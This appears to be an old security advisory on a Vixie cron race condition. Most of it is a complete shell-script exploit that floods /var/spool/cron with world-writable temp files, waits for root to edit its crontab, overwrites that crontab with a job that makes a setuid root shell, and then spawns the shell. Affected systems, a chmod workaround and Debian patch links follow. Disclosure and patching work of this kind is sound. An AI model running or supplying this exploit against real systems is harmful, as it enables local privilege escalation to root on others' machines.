COMMAND
vixie
SYSTEMS AFFECTED
vixie on Linux (?)
PROBLEM
Michal Zalewski found following. Shell-script below exploits
fopen() + preserved umask vulnerability in Paul Vixie's cron code.
It will work on systems where /var/spool/cron is user-readable
(eg. 0755) - AFAIR Debian does so. RedHat (at least 6.1 and
previous) have mode 0700 on /var/spool/cron, and thus it isn't
exploitable in its default configuration... (ahmm, but this does
NOT mean it is a problem of o+rx bits, but of insecure umask()
and fopen() calls).
There is no information about other distributions or systems -
this exploit should automagically detect if you are vulnerable or
not (checking /var/spool/cron, looking for Paul Vixie's crontab,
etc).
If any of your users launched this exploit on screen, and then
any other user (including superuser) invoked "crontab -e" to
change his/her crontab entries, privledges elevation will occour.
The main attack is performed while root (or any other user, but
this particular exploit is configured against root - feel free to
change it) is editing his crontab entry. After any modification,
when crontabs are updated, this exploit will try to insert evil
code over the original contents of the crontab file (probability
of successful exploitation is near to 100%). This, after
approximately one minute, leads to account compromise.
At the beginning, this exploit is trying to abuse crontab utility
in order to create somewhat enormous number of world-writable
temporary files (these files are open with fopen(), and then
rename()d to destination name - ugh!). It might take some time
and cause less or more heavy load on ancient boxes. After
finishing it, exploit is waiting, consuming little or no system
resources, till "crontab -e" session will appear. For more
details, see exploit code.
#!/bin/sh
echo '.-------------------------------------------------------------------------.'
echo '| Marchew Hyperreal Industries ................... <marchew@dione.ids.pl> |'
echo "| ( ...well, it is just me, but it is more elite to speak as a group... ) |"
echo "\`--------------------------------- presents ------------------------------'"
echo
echo ' * another vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> * '
echo
echo '.-------------------------------------------------------------------------.'
echo '| This time, it is somewhat more complicated. On some systems, it might |'
echo '| require some tuning, to be slower, but resources-effective. It expects |'
echo '| root (or other choosen user) to do "crontab -e" or "crontab /any/file" |'
echo '| sooner or later, and spoofs the legitimate cron entry file with evil |'
echo '| content, thus leading to account compromise (usually: root compromise). |'
echo "\`-------------------------------------------------------------------------'"
echo
CYCLES=32768
DESTUSER=root
SHOULDTOOK=60
VCRON="`strings /usr/bin/crontab 2>/dev/null|grep -i vixie`"
if [ "$VCRON" = "" ]; then
echo "[-] Sorry, this box is not running vixie cron."
echo
exit 1
else
echo "[+] Found Paul Vixie's /usr/bin/crontab utility."
fi
if [ -r /var/spool/cron ]; then
echo "[+] This box has exploitable /var/spool/cron..."
else
echo "[-] Sorry, this box is not vulnerable to this attack."
echo
exit 1
fi
if [ -u /usr/bin/crontab ]; then
echo "[+] This box has setuid crontab utility..."
else
echo "[-] Sorry, this box has no setuid crontab."
echo
exit 1
fi
cat >dowrite.c <<_EOF_
main() {
lseek(1,0,0);
write(1,"* * * * * /tmp/.rootcron\n\n",26);
ftruncate(1,25);
}
_EOF_
echo "[+] Compiling helper application #1..."
gcc -o dowrite dowrite.c
if [ ! -f dowrite ]; then
echo "[-] Compilation failed."
echo
exit 1
fi
echo "[+] Application #1 compiled successfully."
echo "[+] Creating helper application #2..."
cat >/tmp/.rootcron <<_EOF_
#!/bin/sh
(
chown root.root /tmp/.r00tcr0n
chmod 6755 /tmp/.r00tcr0n
rm -f /var/spool/cron/tmp.*
crontab -r
) &>/dev/null
_EOF_
cat >root.c <<_EOF_
main() {
setuid(0); setgid(0);
unlink("/tmp/.r00tcr0n");
execl("/bin/bash","bash","-i",0);
perror("bash");
}
_EOF_
echo "[+] Compiling helper application #3..."
gcc -o /tmp/.r00tcr0n root.c
if [ ! -f /tmp/.r00tcr0n ]; then
echo "[-] Compilation failed."
echo
exit 1
fi
echo "[+] Application #3 compiled successfully."
X=0
if [ ! "$1" = "noprep" ]; then
echo "[*] Attack against user $DESTUSER, doing $CYCLES setup cycles..."
echo " Please be patient, setup might took some time; to skip it if"
echo " /var/spool/cron on this machine is already initialized, use"
echo " '$0 noprep'."
PROB=$[CYCLES*100/32768]
test "$PROB" -gt "100" && PROB=100
echo "[+] This gives almost $PROB% probability of success on the first attempt."
while [ "$X" -lt "$CYCLES" ]; do
X=$[X+1]
echo -ne "\r[?] Doing cycle $X of $CYCLES [$[X*100/CYCLES]% done]... "
umask 0
( ( crontab /dev/urandom & usleep 1000; killall crontab ) & ) &>/dev/null
done
sleep 3;killall -9 crontab &>/dev/null
echo
echo "[+] Setup complete, /var/spool/cron filled with junk tmp files."
CNT=0
echo "[*] Now, doing cleanup and counting the nodes..."
for i in 1 2 3 4 5 6 7 8 9; do
for j in /var/spool/cron/tmp.${i}*; do
echo -n >$j
echo -ne "\r[+] Node $CNT clean... "
CNT=$[CNT+1]
done
done
echo
PROB=$[CNT*100/32768]
echo "[+] Found $CNT nodes, approx. $PROB% chance..."
if [ "$CNT" -lt "$[CYCLES*2/3]" ]; then
echo "[-] Less than 66% of expected nodes were created. Try adjusting the exploit."
echo
exit 1
fi
else
echo "[?] Skipping /var/spool/cron initialization. Results might be unpredictable."
fi
echo "[+] Now I will wait for $DESTUSER to edit his crontab. Could take some time."
chmod 755 /tmp/.rootcron
while :; do
sleep 1
GOT="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep|cut -b10-15|head -1`"
test "$GOT" = "" && continue
GOT=`echo $GOT`
echo "[+] Caught victim at pid $GOT..."
if [ ! -f /var/spool/cron/tmp.$GOT ]; then
echo "[-] DAMN! We have no node for this pid, bad luck..."
continue
fi
echo '[+] Got this node :) Entering event wait loop...'
export DESTUSER
(
G=blabla
while [ ! "$G" = "" ]; do
G="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep`"
done
sleep 1
echo "[+] Bingo! It happened. Now writing our evil content..." 1>&2
./dowrite
) >/var/spool/cron/tmp.$GOT
echo '* * * * * /bin/true' >.ctab
echo "[+] Evil content written. Trying to rehash the daemon..."
crontab .ctab
crontab -r
echo "[+] Entering event loop waiting for exploit to work..."
while [ ! -u /tmp/.r00tcr0n ]; do
sleep 1
done
rm -f .ctab dowrite dowrite.c /tmp/.rootcron root.c
echo "[+] Calling the main code..."
/tmp/.r00tcr0n
echo "[*] Thank you for choosing Marchew Industries."
echo
exit 1
done
Confirmed to be vulnerable are:
- Debian 2.2 is vulnerable; this exploit might need slight
modifications in order to work properly (eg.
/var/spool/cron/crontabs, which is 0755 as well, has to be used
instead of /var/spool/cron)
- systems where vixie-cron has been installed manually seems to be
vulnerable (this will include Solaris etc - but this exploit
won't work or will require some modifications); well, general
conditions are: o+x on /var/spool/cron and setuid vixie crontab.
SOLUTION
Vendors were not notified because Michal had no idea which systems
and distros were shipping vulnerable configuration, and because
pretty good workaround is simple: chmod 700 /var/spool/cron.
Not vulnerable:
- most of RedHat-derived systems are not vulnerable (this includes
Mandrake, Cobalt Linux and *probably* Corel Linux); Trustix is
not vulnerable,
- Slackware is not using vixie-cron, of course (but have dangerous
permissions, if you have replaced default cron with vixie,
expect problems),
- FreeBSD seems to be not vulnerable (other permissions).
Patch for Debian:
http://security.debian.org/dists/potato/updates/main/source/cron_3.0pl1-57.1.diff.gz
http://security.debian.org/dists/potato/updates/main/source/cron_3.0pl1-57.1.dsc
http://security.debian.org/dists/potato/updates/main/source/cron_3.0pl1.orig.tar.gz
http://security.debian.org/dists/potato/updates/main/binary-alpha/cron_3.0pl1-57.1_alpha.deb
http://security.debian.org/dists/potato/updates/main/binary-arm/cron_3.0pl1-57.1_arm.deb
http://security.debian.org/dists/potato/updates/main/binary-arm/cron_3.0pl1-57.1_i386.deb
http://security.debian.org/dists/potato/updates/main/binary-m68k/cron_3.0pl1-57.1_m68k.deb
http://security.debian.org/dists/potato/updates/main/binary-powerpc/cron_3.0pl1-57.1_powerpc.deb
http://security.debian.org/dists/potato/updates/main/binary-sparc/cron_3.0pl1-57.1_sparc.deb